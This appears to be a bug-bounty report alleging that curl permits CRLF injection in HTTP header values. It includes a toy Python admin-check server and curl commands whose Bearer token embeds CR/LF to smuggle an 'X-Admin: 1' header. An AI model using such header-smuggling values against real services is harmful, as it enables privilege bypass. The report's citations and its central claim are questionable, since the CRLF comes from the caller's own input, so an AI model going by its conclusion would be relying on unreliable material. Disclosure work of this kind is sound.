curl · Report #3505557
CRLF Injection in HTTP header values allows arbitrary header injection
How it was found
curl allows carriage return (\r) and line feed (\n) characters inside HTTP header values. When attacker-controlled data is used in a header value (e.g., Authorization: Bearer <token>), curl construct and sends a malformed HTTP request containing injected headers.
This violates HTTP specification (RFC 7320 /RFC 9110), which forbid CR/LF in header field values, and result in client-side HTTP request splitting.
Step To Reproduce:
- Run a local HTTP server that checks for a privileged headers:
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_POST(self):
is_admin = self.headers.get("X-Admin") == "1"
length = int(self.headers.get("Content-Length","0"))
self.rfile.read(length)
if self.path == "/delete" and is_admin:
self.send_response(200); self.end_headers()
self.wfile.write(b"DELETED (admin)\n")
return
self.send_response(403); self.end_headers()
self.wfile.write(b"FORBIDDEN\n")
HTTPServer(("127.0.0.1", 8085), H).serve_forever()
- Normal request (expected 403):
curl -X POST http://127.0.0.1:8085/delete -d 'x=1'
- inject headers via Bearer token:
TOKEN=$'abc\r\nX-Admin: 1\r\n'
curl -v -X POST http://127.0.0.1:8085/delete \
-H "Authorization: Bearer ${TOKEN}" \
-d 'x=1'
Observed Result:
curl send the following request:
Authorization: Bearer abc
X-Admin: 1
server responds with:
200 OK
DELETED (admin)
Expected Result:
curl should reject or sanitized CR/LF characters in HTTP header values and refuse to end the request.
Impact
An attacker who can influence header values can inject arbitrary headers into outgoing HTTP request, Leading to:
- Authorization or privilege bypass
- manipulation of proxy-related headers (e.g.,
X-Forwarded-*) - Request smuggling chains in proxy environments
This issue is client-side and independent of server misconfiguration.
Notes:
- The server behaves correctly.
- The issue occurs before any server-side parsing.
- The vulnerability exixts due to missing validation in curl's HTTP header construction logic.